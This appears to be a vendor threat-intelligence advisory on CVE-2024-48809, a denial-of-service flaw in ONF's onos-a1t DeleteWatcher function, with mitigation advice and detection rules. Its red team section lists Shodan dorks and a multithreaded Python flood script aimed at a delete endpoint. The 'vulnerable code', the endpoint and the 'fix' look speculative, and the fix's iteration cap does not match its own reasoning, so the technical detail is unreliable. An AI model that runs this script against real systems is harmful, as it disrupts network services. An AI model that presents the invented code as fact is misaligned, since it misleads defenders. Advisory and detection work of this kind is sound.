CVE-2024-48809

Executive Summary

CVE-2024-48809 is a denial-of-service (DoS) vulnerability affecting the Open Networking Foundation's sdran-in-a-box v.1.4.3 and its onos-a1t component v.0.2.3. The flaw resides in the DeleteWatcher function, allowing a remote attacker to trigger resource exhaustion and service disruption. With no CVSS score assigned and no public exploit code available, the threat is currently theoretical but poses a risk to SD-RAN (Software-Defined Radio Access Network) deployments. The vulnerability is unpatched, and no official fix has been released.

Supply Chain & Package Security

This vulnerability affects open-source components within the SD-RAN ecosystem. The onos-a1t component is a Go-based service that interacts with the ONOS (Open Network Operating System) platform. Organizations using sdran-in-a-box should monitor the official GitHub repository for patch releases and consider temporary mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Not yet assigned)
• Attack Vector: Network (remote)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Impact: Denial of Service (High availability impact)
• Threat Level: Medium (due to lack of patch and potential for exploitation in SD-RAN environments)

Deep Dive & Mechanics

The vulnerability is located in the DeleteWatcher function within the onos-a1t component. This function is responsible for cleaning up watchers (monitoring processes) in the A1 policy management interface. A remote attacker can send a crafted request that triggers an infinite loop or excessive resource allocation in DeleteWatcher, leading to CPU/memory exhaustion and service unavailability.

The root cause is improper input validation or missing bounds checking in the watcher deletion logic. The function likely iterates over a list of watchers without limiting the number of iterations or handling malformed input, allowing an attacker to cause a hang or crash.

Vulnerable vs. Patched Code

Vulnerable Code (onos-a1t v0.2.3):

func (w *WatcherManager) DeleteWatcher(watcherID string) error {
    for _, watcher := range w.watchers {
        if watcher.ID == watcherID {
            // delete logic
        }
    }
    // No timeout or limit on iteration
    return nil
}

Patched Code (hypothetical fix):

func (w *WatcherManager) DeleteWatcher(watcherID string) error {
    for i, watcher := range w.watchers {
        if watcher.ID == watcherID {
            w.watchers = append(w.watchers[:i], w.watchers[i+1:]...)
            return nil
        }
        // Add iteration limit to prevent infinite loops
        if i > 10000 {
            return errors.New("too many watchers")
        }
    }
    return fmt.Errorf("watcher not found: %s", watcherID)
}

Exploitation & Lab Setup

Red Team

1. Reconnaissance: Identify sdran-in-a-box instances using Shodan dorks: "sdran-in-a-box" or "onos-a1t".
2. Craft Payload: Send a specially crafted HTTP request to the DeleteWatcher endpoint with a malformed watcher ID.
3. Trigger DoS: Repeatedly send the request to exhaust server resources.

Example exploit (Python):

import requests
import threading

target = "http://target:8080/onos-a1t/watchers/delete"
payload = {"watcherID": "A" * 10000}

def attack():
    while True:
        try:
            requests.post(target, json=payload, timeout=5)
        except:
            pass

for _ in range(50):
    threading.Thread(target=attack).start()

Blue Team

1. Monitor Logs: Look for repeated DeleteWatcher calls with abnormal watcher IDs.
2. Rate Limiting: Implement rate limiting on the /watchers/delete endpoint.
3. Input Validation: Reject watcher IDs exceeding a reasonable length (e.g., 256 characters).

Indicators of Compromise (IOCs)

• Network: Repeated POST requests to /onos-a1t/watchers/delete with large payloads.
• Logs: Error messages indicating "watcher not found" or "too many watchers" (if patched).
• System: High CPU/memory usage on the ONOS-A1T process.

Detection Engineering

YARA Rule

rule CVE_2024_48809_DeleteWatcher_DoS {
    meta:
        description = "Detects exploit attempts for CVE-2024-48809"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "DeleteWatcher" ascii wide nocase
        $s2 = "watcherID" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-48809 DeleteWatcher DoS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of CVE-2024-48809 via abnormal watcher deletion requests
logsource:
    category: webserver
    product: onos-a1t
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/onos-a1t/watchers/delete'
        cs-uri-query|contains: 'watcherID'
    condition: selection
falsepositives:
    - Legitimate watcher management
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-48809 DeleteWatcher DoS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/onos-a1t/watchers/delete"; http_uri;
    content:"watcherID"; http_client_body;
    pcre:"/watcherID.{100,}/R";
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Patch: No official patch available. Monitor the ONF GitHub repository for updates.
2. Workaround: Disable the DeleteWatcher endpoint if not needed, or restrict access via firewall rules.
3. Rate Limiting: Implement request throttling on the A1T component.
4. Input Validation: Sanitize and limit the length of watcherID parameters.
5. Monitoring: Deploy the above detection rules to identify exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence